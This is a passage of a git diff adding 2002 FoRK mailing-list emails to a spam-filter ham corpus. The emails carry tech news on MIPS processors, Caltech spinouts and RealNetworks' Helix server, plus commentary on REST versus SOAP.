interest where the +consumers are looking intensely for broadband, whether it is at today's +prices or tomorrow's prices, that is going to shake out the +marketplace. And I think the marketplace will do a good job. We just +have to make it something obvious that consumers want. Now I happen to +live in a neigborhood where there is no broadband network. No DSL or +cable modems. Well, I have a neighbor, [Teledesic chairman and co-CEO] +Craig McCaw, who has a wireless network that I think I can piggyback off +of [Ballmer laughs]. So, yes, broadband is a bottleneck -- but I also +think we have to look at oursleves as a software industry and say, +'Aren't we, too, some of that bottleneck?' We have not built software +that makes broadband a must-have. + +> Microsoft CEO weighs in +> +> Ballmer addresses a number of key issues for customers and partners. +> +> On security and trust: "There are some things I would have done +> differently." +> +> On coordinating product groups: "We are working hard to make sure +> the whole is bigger than the sum of the parts." +> +> On product licensing: "We are still going to have to get smart +> about the full ramifications." + + +---- +aDaM@XeNT.CoM -- long .sig alert! + + + +I believe it is quite possible to productively apply both supposedly +incompatible approaches [REST & SOAP] together. I'll sketch it out +below, both in prescriptive form. Note: while this is proscriptive, it +is expected that local adaptations will be provided. + +1. Start by modeling the persistent resources that you wish to expose. +By persistent resources, I am referring to entities that have a typical +life expectancy of days or greater. Ensure that each instance has a +unique URL. When possible, assign meaningful names to resources. + +2. Whenever possible, provide a default XML representation for each +representation. Unlike traditional object oriented programming +languages where there is a unique getter per property, typically there +will be a single representation of the entire instance. These +representations will often contain XLinks (a.k.a. pointers or +references) to other instances. + +3. Now add high level methods which take care of all composite create, +update, and delete operations. A key aspect of the design is that +messages for these operations need to be self contained - both the +sender and receiver should be able to make the absolute minimum of +assumptions as to the other's state, and multiple requests should not be +required to implement a single logical operation. All requests should +provide the appearance of being executed atomically. + +4. Query operations deserve special consideration. A general purpose +XML syntax should be provided in every case. In addition, when a +reasonable expectation exists that query parameters will be of a +relatively short size and not require significant encoding, then a HTTP +GET with the parameters encoded as a query string should also be +provided. + +Implications + +The following table emphasizes how this unified approach differs from +the "pure" (albeit hypothetical) different positions described above. + +1. Resource -- POST operations explicitly have the possibility of +modifying multiple resources. PUT and DELETE operations are rarely +used, if ever. GETs may contain query arguments. + +2. Get -- GETs must never be used for operations which observably change +the state of the recipient. POST should be used instead. + +3. Message -- Do not presume that URLs are static, instead presume that +they identify the resource. In particular, recognize that URLs can be +dynamically generated. Expect URLs of other SOAP Resources in +responses. Use the SOAP Response MEP for pure retrieval operations. + +4. Procedure -- Treat the URL itself as the implicit first parameter. +Allow URLs to be dynamically generated, and returned in structures. Use +HTTP GET for retrieval operations. + +Conclusions + +Looking to the future, the application level inter-networking protocols +that emerge today will likely be the application level intra-networking +protocols of the next decade. Both REST and SOAP contain features that +the others lack. Most significantly: + +REST - SOAP = XLink + +The key bit of functionality that SOAP applications miss today is the +ability to link together resources. SOAP 1.2 makes significant progress +in addressing this. Hopefully WSDL 1.2 will complete this important work. + +SOAP - REST = Stored Procedures + +Looking at how other large scale systems cope with updates provides some +key insights into productive areas for future research with respect to REST. + +Finally, it bears repeating. Just because a service is using HTTP GET, +doesn't mean that it is REST. If you are encoding parameters on the +URL, you are probably making an RPC request of a service, not retrieving +the representation of a resource. It is worth reading Roy Fielding's + thoughts +on the subject. The only exception to this rule that is routinely +condoned within the REST crowd is queries. + + -- Sam Ruby, http://radio.weblogs.com/0101679/stories/2002/07/20/restSoap.html +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00694.a56619f593077d85ce28a4fafe547ab7 b/bayes/spamham/easy_ham_2/00694.a56619f593077d85ce28a4fafe547ab7 new file mode 100644 index 0000000..ab5f043 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00694.a56619f593077d85ce28a4fafe547ab7 @@ -0,0 +1,320 @@ +From fork-admin@xent.com Tue Jul 23 06:16:17 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A7903440C8 + for ; Tue, 23 Jul 2002 01:16:16 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 06:16:16 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6N5Hh428056 for ; + Tue, 23 Jul 2002 06:17:44 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id BE6032940B3; Mon, 22 Jul 2002 22:07:04 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: by xent.com (Postfix, from userid 1002) id 742572940B0; + Mon, 22 Jul 2002 22:06:49 -0700 (PDT) +To: FoRK@xent.com +Subject: [EE Times] Iconoclast Designers Choose MIPS +Message-Id: <20020723050649.742572940B0@xent.com> +From: adam@xent.com (Adam Rifkin) +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 22 Jul 2002 22:06:49 -0700 (PDT) + +"In fact, Caltech says that it actually spun out the same number of +startups in 2001 -- a poor time, needless to say, for new ventures -- as +it did in the boom year of 1999." Oookaaaay... + + +http://www.fulcrummicro.com/press/article_eeTimes_05-08-02.shtml + +Iconoclast designers choose MIPS +By Anthony Cataldo +May 28, 2002 + +SAN JOSE, Calif. -- A group of engineers in Calabasas Hills, CA wants to +turn the microprocessor world on its head by doing the unthinkable: +tossing out the clock and letting the signals move about unencumbered. +For those designers, inspired by research conducted at nearby Caltech, +clocks are for wimps. + +The Fulcrum Microsystems Inc. design team isn't the first to propose an +asynchronous processor, but president and chief executive officer Robert +Nunn wants to be the first to take a clockless, fire-breathing processor +mainstream. "We really deal with an asynchronous world," he said. "We +only make it synchronous for our own convenience." + +This is the kind of stuff that many in the processor industry would +consider lunatic fringe, too weird for conservative embedded-systems +designers. But the young processor company and more than a dozen others +like it are anchored in the mainstream courtesy of the MIPS +instruction-set architecture. More and more, MIPS is becoming the choice +for maverick processor design teams seeking a place at the high end by +fielding unorthodox devices. And if Motorola and IBM in the PowerPC camp +aren't careful, they could see their performance leadership in the +high-end embedded-processor market snatched away by some of these upstarts. + +In Austin, Texas, meanwhile, designers at another MIPS house, Intrinsity +Inc., aren't prepared to ditch the clock. But they are putting a new +spin on some old tricks such as giving each gate its own clock and then +letting them overlap. Using such sleight of hand, the company hopes to +soon deliver RISC-based processors that run at an eye-popping 2 GHz and +consume just 10 to 15 watts. + +Fulcrum, Intrinsity and their brethren may once have been written off as +interesting experiments, backed by venture capitalists who overlooked +some of the finer details, like software compatibility. What lends them +respectability is MIPS. + +Theirs for the asking + +One reason young processor companies seem to be flocking to the platform +is that its steward, MIPS Technologies Inc., has no qualms about +licensing the instruction-set architecture (ISA), provided that the +licensee agrees to meet a software-compatibility test suite. By +contrast, processor-core rival ARM Ltd. has granted this privilege to +just two of its many licensees, Intel and Motorola. And so far, the two +PowerPC vendors, IBM Corp. and Motorola Inc., have rebuffed most +requests to license that architecture, with the notable exception being +FPGA vendor Xilinx Inc., which has licensed the 405 PowerPC from IBM. + +The MIPS ISA is also one of the simplest forms of +reduced-instruction-set computing around, which tends to make it +attractive to processor designers interested in extending the +architecture. It was this and the wide availability of tools and +software that drew Intrinsity to MIPS, even though the company is aiming +at PowerPC sockets, as evidenced by its decision to adopt the RapidIO +interface instead of HyperTransport, which has been favored by MIPS vendors. + +Good fit + +"It's a nice, clean architecture and has an open model that allows us to +add instructions," said Paul Nixon, chief executive officer of +Intrinsity. "You also get all the third-party tools that very easily +fit into our base of platforms." + +There was a time when this openness was seen as a liability for MIPS. In +the mid-1990s, before MIPS was spun out from Silicon Graphics Inc., the +instruction set lacked a multiply-add instruction, so some MIPS vendors +took it upon themselves to create their own. The problem was that this +broke many of the development tools, causing headaches for compiler +vendors like Green Hills Software Inc. + +"We went to MIPS and said we have 20 different compiler variants and +it's embarrassing," said Craig Franklin, vice president of engineering +at Green Hills and a respected microprocessor industry veteran. Franklin +also wasn't shy about telling MIPS it needed to revamp its embedded +application binary interface. "We went to MIPS and said we've done a +dozen EABIs, let's clean up yours," he said. + +MIPS took the advice and wasted little time clamping down on +architectural deviations, observers said. But the MIPS camp still has to +live with a legacy of incompatible chips in the field. "To its credit, +MIPS quickly caught on," said Jim Turley, a microprocessor industry +analyst. "Going forward, MIPS is maintaining good control but they are +still haunted by incompatibility among multiples." + +If the biggest risk to the MIPS camp is fragmentation, then the PowerPC +camp has the opposite problem: architectural confinement. Though the +PowerPC architecture carries the cachet of household names Motorola and +IBM, these are essentially the only two companies that provide +PowerPCs. It's not for lack of interest. Rather, the companies have been +reluctant to cede control over the architecture. This could wind up +hurting the PowerPC cause, though. + +"To get a PowerPC license is impossible or very expensive," Green Hills' +Franklin said. "Tactically this may have been a mistake. If you're a +Japanese company, all things being equal, you'd rather buy from another +Japanese company." + +Analyst Turley, too, thinks the PowerPC camp will only stand to gain by +licensing the architecture. "It's all about software compatibility and +tool support. The more you can proliferate the architecture the better +you're going to do," he said. "I don't think Motorola and IBM can +address the entire market by themselves." + +There's a chance that this could change. IBM, for its part, is in the +process of planning an expansion strategy for PowerPC that may involve +more licensing. Though it's unlikely the PowerPC camp will ever have the +open licensing model of MIPS Technologies, MIPS processor vendors may +have more than just two competitors to worry about. + +"We're certainly not averse to [licensing]," said Lisa Su, director of +PowerPC products at IBM. "The question is, how much do we do and who do +we license to. There are various ways you could go, whether it's a hard +core, soft core or licensing the ISA." + +But the fear of architectural fragmentation still looms large. "We know +that if we have different microarchitectures we have to do work on +software compatibility," Su said. "With MIPS there's a degree of +fracturing. That may not always be a big problem, but if you go to other +markets -- like consumer -- it becomes big. Our belief is there is a +happy medium." + +Whatever path IBM takes it will act in its own best interest as a chip +provider, not as a company that wants to hawk intellectual +property. This is why the Xilinx licensing deal works for IBM: Big Blue +is not so much interested in the royalties and fees it collects from +Xilinx, but in the dual benefit of widening the appeal of the +architecture and the revenue IBM generates from manufacturing the FPGAs +for Xilinx in its own fabs. "We're not trying to make money off of +licensing," Su said. + +Manufacturing is probably one of the most powerful weapons that PowerPC +vendors IBM and Motorola wield. Both have gussied up their high-end +lines with copper interconnect and silicon-on-insulator technology, +still rarities among chip makers. This has helped both companies design +relatively low-power embedded processors running at 1 GHz that are +shipping today. IBM did it using 0.13-micron design rules and a +four-stage pipeline; Motorola is using 0.18-micron design rules and a +seven-stage pipe. + +The companies say there's more performance headroom in store. "When we +get to 0.13 micron we'll get substantially faster," said Raj Handa, +PowerPC and PowerQuicc marketing manager at Motorola. + +Proprietary processes + +Most MIPS processor vendors, by contrast, rely on mainstream foundries +that haven't developed the more-exotic process technologies. And even +though companies like Motorola are shifting more capacity to outside +foundries, they're keeping their special process recipes in-house to +juice up their high-performance devices. + +Lacking this capability, most MIPS processor vendors will have little +choice but to come up with dazzling architectural feats to keep up their +chops at the high end. It should become clear in the next year or so how +some of the newer players measure up. + +Intrinsity hopes to field its 2-GHz processors by the end of the +year. Fulcrum is shooting for an early 2003 introduction. "We're going +to shock the industry in terms of raw performance and speed-vs.-power +performance," Fulcrum's Nunn said. "We really want to change the way the +world designs semiconductors." + + + +http://www.fulcrummicro.com/press/article_fastco_04-02.shtml + +The Pasadena startup machine +By Alison Overholt +April, 2002 + +There was a time when every dorm room, it seemed, was a startup waiting +to happen. Throughout the 1990s, kids cobbled together business plans +between classes, won funding, and jumped into business. Risk? What risk? +Plunging into a new venture seemed all too easy. + +Ah, the fickleness of youth. These days, most of the kids are back in +class. Venture capitalists say that they're seeing precious few +proposals out of MIT, Stanford, and almost every other university, save +one: the California Institute of Technology. + +In fact, Caltech says that it actually spun out the same number of +startups in 2001 -- a poor time, needless to say, for new ventures -- as +it did in the boom year of 1999. While startup enthusiasm has faded on +most campuses, Caltech has blossomed into a robust new-company machine. + +This didn't happen by accident. During the past seven years, Caltech's +Office of Technology Transfer has carefully developed a strategy for +cultivating commerce. "We focus on nurturing entrepreneurs +scientifically more than other schools do," says Rich Wolfe, the +office's associate director. That is, the university focuses more on the +science itself than on the ensuing commercial opportunity. + +That's what grabbed Uri Cummings and Andrew Lines, two PhD students at +Caltech who founded Fulcrum Microsystems in 2000. "There is a pervasive +philosophy at Caltech that no problem is unsolvable," Cummings +says. "There's a focus on scientific ingenuity that is thrilling to be +around. Caltech has so many entrepreneurs because the school doesn't +make it about business or focus on how much money they'll get out of +it. Caltech is a catalyst, moving technology from the university out +into industry, and students are thrilled to be a part of it." + +Before starting Fulcrum, Cummings and Lines worked for six years with +Caltech computer-science professor Alain Martin on an +asynchronous-circuit design for semiconductor chips. They ventured into +commercialization while still in the throes of their doctoral program. + +That they could afford to do that points to another, more practical +aspect to Caltech's approach. Other universities typically require +entrepreneurs to pay up-front application and licensing fees for the use +of technology patents. But Caltech believes that such payments stifle +entrepreneurship, since young companies usually have little cash to +spare. Instead, the school typically takes equity stakes in startups, +and it defers collection of patent payments until fledgling companies +are financially secure. + +For Caltech, it's a long-term bet. "The reality is that universities +rely far more on their endowments than they could on any fees to be +collected from the initial licensing process," Wolfe says. "So we seek a +bite of the apple -- and we hope that if one of these entrepreneurs +founds the next Intel, he'll not only share the equity but also bestow a +gift on the university in remembrance that we took care of him when he +was just getting started." + +Cummings and Lines may be in a position to do just that. Fulcrum has won +about $20 million in venture funding amid the toughest venture market in +recent history. Its founders have hired a credible CEO, Bob Nunn, who +formerly ran Vitesse's telecom division, and hired 24 top students from +their alma mater. And they've garnered rave reviews of their chip design +from technology journals. + +One thing that Cummings and Lines haven't done yet: finished their +degrees. Officially, both are now "on leave." They may not be back. + + + +---- +aDaM@XeNT.CoM + + +High-tech startups fail for only three reasons: stupidity, luck, and greed. + +Tip one for would-be entrepreneurs: Avoid stupid and unlucky people. If +you are stupid or have bad luck, don't start a high-tech business. + +Tip two for would-be entrepreneurs: Do a product that you want to do, +not one that they want you to do. + +Startup founders generally have only ideas, charisma, and equity to work +with. Ideas and charisma are cheap, but equity is expensive. To make a +start-up work, the founder has to divvy out parts of the business at +just the right rate to keep everyone happy until the product is a +success. Give away too much of your company too soon to a venture +capitalist, to your co-workers, or even to yourself, and you risk +running out of distributable shares before the product is done. And that +probably means the product won't be done. Ever. + +Tip three for would-be entrepreneurs: Don't take venture funding too soon. + +If you are doing a software product, don't take venture money until you +need it to introduce the product. Don't take venture money until you +have used up all of your own money, your mother-in-law's money, and +everything you can borrow. + +Bootstrap. Rent, don't buy. Don't hire people to do things you can +contract out because contractors don't require stock options. + +As the founder, the man or woman with the grand plan, your function is +to manage the distribution of your own holdings so that you end up with +fewer shares but more wealth. + +Tip four for would-be entrepreneurs: Invite me to lunch. I'm a cheap date. + + -- Robert X. Cringely, http://www.pbs.org/cringely/pulpit/pulpit20010614.html +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00695.2de9d6d30a7713e550b4fd02bb35e7b4 b/bayes/spamham/easy_ham_2/00695.2de9d6d30a7713e550b4fd02bb35e7b4 new file mode 100644 index 0000000..8edccb5 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00695.2de9d6d30a7713e550b4fd02bb35e7b4 @@ -0,0 +1,403 @@ +From fork-admin@xent.com Tue Jul 23 07:12:36 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id CBB50440C8 + for ; Tue, 23 Jul 2002 02:12:34 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 07:12:34 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6N6Bm430084 for ; + Tue, 23 Jul 2002 07:11:50 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id DFB652940AF; Mon, 22 Jul 2002 23:01:04 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: by xent.com (Postfix, from userid 1002) id 282862940AD; + Mon, 22 Jul 2002 23:00:10 -0700 (PDT) +To: FoRK@xent.com +Subject: [NYT] Real Source +Message-Id: <20020723060010.282862940AD@xent.com> +From: adam@xent.com (Adam Rifkin) +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 22 Jul 2002 23:00:10 -0700 (PDT) + +"This is a very tenuous time for Microsoft," Gartenberg said. "This is +not a time in Microsoft's history when it can be seen as trying to do to +Real what it did to Netscape." Rrrrrrriiiiiight.... + + + +http://www.nytimes.com/2002/07/22/technology/22REAL.html + +July 22, 2002 +RealNetworks Poses Challenge to Microsoft +By JOHN MARKOFF + +SAN FRANCISCO, July 21 -- In a significant challenge to Microsoft, +RealNetworks plans to announce a new version of its software on Monday +that can distribute audio and video in a range of formats, including +Microsoft's own proprietary Windows Media. + +The new software is intended for large media companies and other +corporations that need to send audio and video data to customers and +employees in a variety of different formats. But RealNetworks +acknowledged that it was possible that the company might incur +Microsoft's legal wrath. + +Nevertheless, Rob Glaser, a former Microsoft executive who founded +RealNetworks as Progressive Networks in 1994, said he believed the +strategy was good for both Microsoft and consumers. + +"A rational way for them to respond would be to say, `This is great,' " +he said. "That would be Microsoft of the future." + +Mr. Glaser said his company, based in Seattle, had developed a version +of the Microsoft Media Server software that comes with the Windows +operating system. + +He said RealNetworks' engineers had studied the data that was sent +between the Microsoft media server software and the Windows Media Player +program and recreated the technology needed to play files in the +Microsoft format. This method created a so-called clean-room version, +meaning the developers built the transmission software without any +knowledge about the underlying program. + +Microsoft has adopted a similar strategy at several junctures, +Mr. Glaser said, reverse-engineering technologies like NetWare, +PostScript and JavaScript at different times. + +Microsoft executives said the company currently licensed the Windows +Media Player technology to a variety of companies including Yahoo, +RealNetworks and the America Online unit of AOL Time Warner. But a +Microsoft executive said that a clean-room copy of the Windows server +technology could lead to quality and performance issues. + +"It's kind of hard to speculate about the technology until we see it," +said Dave Fester, the general manager of the Windows Media division. If +a company has not licensed the server software, he added, "we would need +to look at it and see what they're doing." + +RealNetworks appears to be endeavoring to avoid being "Netscaped," a +reference to the fate that befell the Netscape Communications +Corporation when Microsoft decided to make an Internet browser, which +was pioneered commercially by Netscape, a standard part of the Windows +operating system. Netscape was later acquired by AOL Time +Warner. Microsoft's decision to build an Internet browser into Windows +and give it away at no additional cost led directly to a bitter +antitrust lawsuit brought by the Justice Department in 1997. + +RealNetworks, which was a pioneer in the market for streaming media to +desktop personal computers, has been under growing pressure from +Microsoft, which is giving away both the server and Windows Media Player +program as part of its operating strategy. RealNetworks also faces +challenges from Apple Computer, which offers the QuickTime media player +as a part of its Macintosh OS X operating system and sells a more +full-featured player. + +Moreover, in recent months Macromedia Inc., which makes the Flash +animation software used on many Web sites, has added video capabilities +to its technology, making it a potential rival. + +RealNetworks is gambling that with a proliferation of different +standards and formats for video and audio, the media corporations that +make content available over the Internet will flock to a single system +that supports multiple types of data. The company is trying to shift the +focus of the competition from the PC desktop to the server, according to +analysts. + +Several analysts said the RealNetworks shift in strategy could put +Microsoft on the defensive. + +"Real has got the experience and sophistication to pull this off," said +Richard Doherty, the president of Envisioneering, a market research and +consulting firm based in Seaford, N.Y. "It will open up a new horse race." + +Until now the companies have been engaged in a technology war to rapidly +increase the power and quality of each of their media players. At the +same time, they have competed over which of the programs are placed on +the desktops of personal computer users. RealNetworks claims to have +700,000 subscribers for pay services, but it is perceived as being +increasingly vulnerable, according to some analysts, because Microsoft +has included its Media Player as part of the Windows operating system, +which dominates the PC market. + +There are dozens of data formats for playing audio and video on the +Internet, but the dominant ones are RealAudio and RealVideo from +RealNetworks, QuickTime from Apple, Windows Media from Microsoft and the +industry digital movie standards MPEG-2 and MPEG-4. + +Microsoft and RealNetworks are currently locked in a close race for +desktop media player leadership. In the first quarter of this year, +according to survey data collected by Jupiter Research, a market +research firm based in New York, RealNetworks' RealOne Player had a 29.1 +percent share of media players, while Microsoft's Windows Media Player +had a 28.2 percent share. Apple's Quicktime player was third, with a +12.2 percent. + +The new server software from RealNetworks is part of a version of the +company's media server that is to be introduced on Monday and which will +be called the Helix Universal Server. RealNetworks said it would offer +performance data based on a test it financed at an independent testing +service, KeyLabs, that indicate that the Helix software can, under some +conditions, deliver up to four times the speed of the Windows Media +Server in Microsoft's operating system. (Software servers are programs +that run on powerful computers and can send streams of digital +information to many computer users simultaneously.) + +At a news conference scheduled to be held in San Francisco, RealNetworks +is also expected to announce that it plans to make the Helix software +available as part of a strategy known as community source, which will +make it possible for RealNetworks partners and competitors to take +advantage of the original programmers' instructions. + +RealNetworks is to announce a range of partners, including Hitachi, +Hewlett-Packard, I.B.M., Deutsche Telekom, NEC, Nokia, Cisco Systems, +Oracle, Sun Microsystems, Palm, Texas Instruments and others. These +partners could then incorporate the software into their own hardware and +software products. + +Under the licensing strategy, companies will be able to freely gain +access to the underlying code that the Helix program is based on, but +they will still pay a licensing fee when they sell commercial products +based on the technology. + +The community-source approach to software, which was pioneered by Sun to +distribute its Java programming language, is a variation upon the +original free software or open-source approach which has confounded the +software industry in recent years. + +While open-source software can be freely shared, with some restrictions, +the community-source approach is more restrictive and yet still tries to +persuade others to collaborate and add innovative ideas. + +Other large technology companies including Sun, I.B.M. and Apple, have +all now adopted variations on such open-source strategy, with varying +results. In Sun's case, the company has been criticized because, while +Java has become an industry standard, the company has not been the +principal financial beneficiary in many cases. + +RealNetworks is trying to strike a balance between opening up its +technology to persuade others to participate and innovate and not losing +control of the technology entirely, Mr. Glaser said. "We think we've +struck the balance well," he said. + +Analysts said the strategy shift by RealNetworks was likely to shake up +the industry. "The moment you've open-sourced something you've cornered +your competitor," said Matthew Berk, an analyst a Jupiter Research. "To +date this stuff has been very proprietary. Opening it up makes it +accessible to creative and gifted programmers who will come up with wild +stuff that the companies have never considered." + +Mr. Glaser said he expected other companies to produce technology that +would rival RealNetworks' commercially as a result of the +community-source strategy. + +One possibility is that companies such as Sun or I.B.M. could decide to +add the Helix technology of RealNetworks as a standard component of +their operating systems. Although RealNetworks might not get a +significant financial benefit from such an arrangement it could +contribute to making its Helix software a de facto industry standard. + +Mr. Glaser said he had struck upon the idea of making his media server +software open source while visiting with an executive from Nokia, the +world's largest cellphone maker. + +"Taking all of this stuff beyond the PC has been a huge motivation for +us," he said. When he realized that Nokia was interested in deploying +the software technology on as many as 30 to 40 different types of +phones, he realized that RealNetworks did not have enough programming +talent to support the effort. + +"I told him, `I don't think we have enough engineers even if you guys +were willing to pay us,' " he said. + +That touched off a search for an alternative way of having the two +companies cooperate. + + + +http://quicken.com.com/2100-1023-945406.html + +Real takes the open-source route +By Jim Hu +Staff Writer, CNET News.com +July 22, 2002, 1:55 PM PT + +RealNetworks on Monday unveiled a new open-source version of its +streaming media technology that supports multiple file formats for audio +and video, including those that use Microsoft's Windows Media technology. + +The new campaign, dubbed "Helix," and first reported by The New York +Times, marks one of the most ambitious moves in the company's +history. RealNetworks is simultaneously releasing technology without +permission that plugs in to Microsoft's competing software and is +raising the hood on much of its own software technology to "open source" +developers or anyone else who wants to look. + +The twin moves raise the risk of lawsuits and renewed competition -- +potentially even from Redmond, Wash.-based Microsoft itself, once it +gets a look under the hood at RealNetworks' technology. But it marks a +dramatic, potential way for a company watching its market share diminish +to regain momentum and support across an industry where many other +players remain skeptical of Microsoft's power. + +"It's a very bold move on the part of Real," said Michael Gartenberg, a +research director for analyst firm Jupiter Research. "This was a shot +fired by Real and fired directly at Redmond." + +The move is the latest in a series of strategic twists and turns that +has made RealNetworks one of the only companies to survive direct +Microsoft competition for years. While the company has expanded into +paid subscription content business, its software and streaming media +infrastructures have been under increasing pressure from Microsoft, +which has deemed multimedia to be one of the major drives under the +latest versions of its Windows operating system. + +Real's Helix announcement mainly involves the technology that allows +media files to move from place to place over the Internet. RealNetworks +and Microsoft both produce servers that allow video and audio to be +streamed from a content company such as CNN or NBC to a personal +computer. Real has charged for this software, while Microsoft has given +it away for free. + +In April, RealMedia reached 17 million at-home viewers, compared with +Windows Media at 15.1 million and Apple Computer's QuickTime at 7.3 +million, according to Nielsen/NetRatings. At work, Windows Media drew +about 12.2 million unique viewers, compared with RealMedia's 11.6 +million and QuickTime's 5 million. + +Real's own new product, called the Universal Server, will allow one +server to stream Real's technology, Microsoft files, Apple Computer's +QuickTime, and others. Most other competing products do not support +competitors' technology. + +"When you have all these different platforms, and all these different +protocols, it gets unmanageable," RealNetworks' Rob Glaser said at a +high-glitz press conference in San Francisco announcing the product. "A +lot of what (this technology) is about is breaking those bottlenecks and +making convergence really converge." + +To make the new product compatible with Microsoft files, however, the +company pursued a risky strategy known as "reverse engineering," in +which developers examine a competitor's product to see how it works and +try to create something that works just like it. + +Glaser said that engineers worked entirely in a "clean room" +environment, meaning that they had no access to actual Microsoft +code. Had they simply copied code, they could be liable for patent +infringement. The resulting product simply mimics the way that +Microsoft's files are sent across networks and allows a Windows Media +player to receive the file. + +Other companies have been sued for simply copying a competitor's code +and putting it in their own products. But RealNetworks says it's not +worried about Microsoft lawsuits, because it took precautions to do all +development in the "clean room" environment. Microsoft itself has +engaged in this kind of legal reverse engineering. + +Analysts say Microsoft, which still faces antitrust lawsuits, is in no +position to sue in any case. + +"This is a very tenuous time for Microsoft," Gartenberg said. "This is +not a time in Microsoft's history when it can be seen as trying to do to +Real what it did to Netscape." + +The influential giant? + +Certainly, Monday's announcement acknowledges Microsoft's influence in +media technology, something Glaser and Real have often been loathe to do. + +Microsoft was quick to spin Monday's announcement as further validation +of its strength in the marketplace. + +"It's an admission of RealNetworks that it's important for them to +support Windows Media and that we're now the leading player among home +and work users," said Michael Aldridge, lead product manager for +Microsoft's Windows Digital Media division. + +Aldridge added that RealNetworks currently has a licensing agreement for +its media player to support Windows audio and video formats. However, +RealNetworks and Microsoft do not have an agreement to allow the server +to deliver Windows Media formats to end users, which is what +RealNetworks trying to do. + +Aldridge declined to comment on RealNetworks' replication of Microsoft's +technology. + +In addition to its own new product, Real has promised to give away +source code to much of the underlying technology for streaming +media. That stops short of the actual file format, or "codec" itself, +but will provide the open-source community and other companies with +powerful new tools to build their own streaming media players or +software. + +Glaser said he wouldn't initially make the software code that mimics +Microsoft's streaming available but that he was considering the idea. A +first chunk of code underlying the RealNetworks multimedia player +software will be released in 90 days. Other code, including the basic +functions of its streaming media server and encoder, will be released by +the end of the year, the company said. + +The company's plan to reveal its source code--the basic instructions +underlying the software--echoes similar moves made by Netscape +Communications to defend against Microsoft. In March 1998, Netscape took +the bold step of opening its source code to allow software developers to +help create the next generation of its popular browser. + +James Barksdale, then CEO of Netscape, said the move would allow the +company to "tap into a virtually unlimited developer talent pool." +Instead, the effort, which has evolved into the Mozilla.org project, hit +considerable roadblocks, and Microsoft overtook Netscape in market +share. + + + +---- +aDaM@XeNT.CoM -- .sig double play! + + +We have done a great job of having teams work around the clock to +deliver security fixes for any problems that arise. Our responsiveness +has been unmatched - but as an industry leader we can and must do +better... Going forward, we must develop technologies and policies that +help businesses better manage ever larger networks of PCs, servers and +other intelligent devices, knowing that their critical business systems +are safe from harm. Systems will have to become self-managing and +inherently resilient. We need to prepare now for the kind of software +that will make this happen, and we must be the kind of company that +people can rely on to deliver it. + -- Bill Gates, http://zdnet.com.com/2100-1104-817343.html + + +The problem with SOAP is that it tries to escape from the Web interface. +It deliberately attempts to suck, mostly because it is deliberately +trying to supplant CGI-like applications rather than Web-like +applications. It is simply a waste of time for folks to say that "HTTP +allows this because I've seen it used by this common CGI script." If we +thought that sucky CGI scripts were the basis for good Web +architectures, then we wouldn't have needed a Gateway Interface to +implement them. In order for SOAP-ng to succeed as a Web protocol, it +needs to start behaving like it is part of the Web. That means, among +other things, that it should stop trying to encapsulate all sorts of +actions under an object-specific interface. It needs to limit its +object-specific behavior to those situations in which object-specific +behavior is actually desirable. If it does not do so, then it is not +using URI as the basis for resource identification, and therefore it is +no more part of the Web than SMTP. + -- Roy Fielding, http://lists.w3.org/Archives/Public/www-tag/2002Apr/0181.html + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00696.68cf3578a4cc3767f75ba2c5814533ef b/bayes/spamham/easy_ham_2/00696.68cf3578a4cc3767f75ba2c5814533ef new file mode 100644 index 0000000..48762b9 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00696.68cf3578a4cc3767f75ba2c5814533ef @@ -0,0 +1,55 @@ +From fork-admin@xent.com Tue Jul 23 14:27:17 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BA01B440CC + for ; Tue, 23 Jul 2002 09:27:17 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 14:27:17 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6NDQi429056 for ; + Tue, 23 Jul 2002 14:26:45 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 4872F2940ED; Tue, 23 Jul 2002 06:16:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mail1.panix.com (mail1.panix.com [166.84.1.72]) by xent.com + (Postfix) with ESMTP id C60B02940EC for ; Tue, + 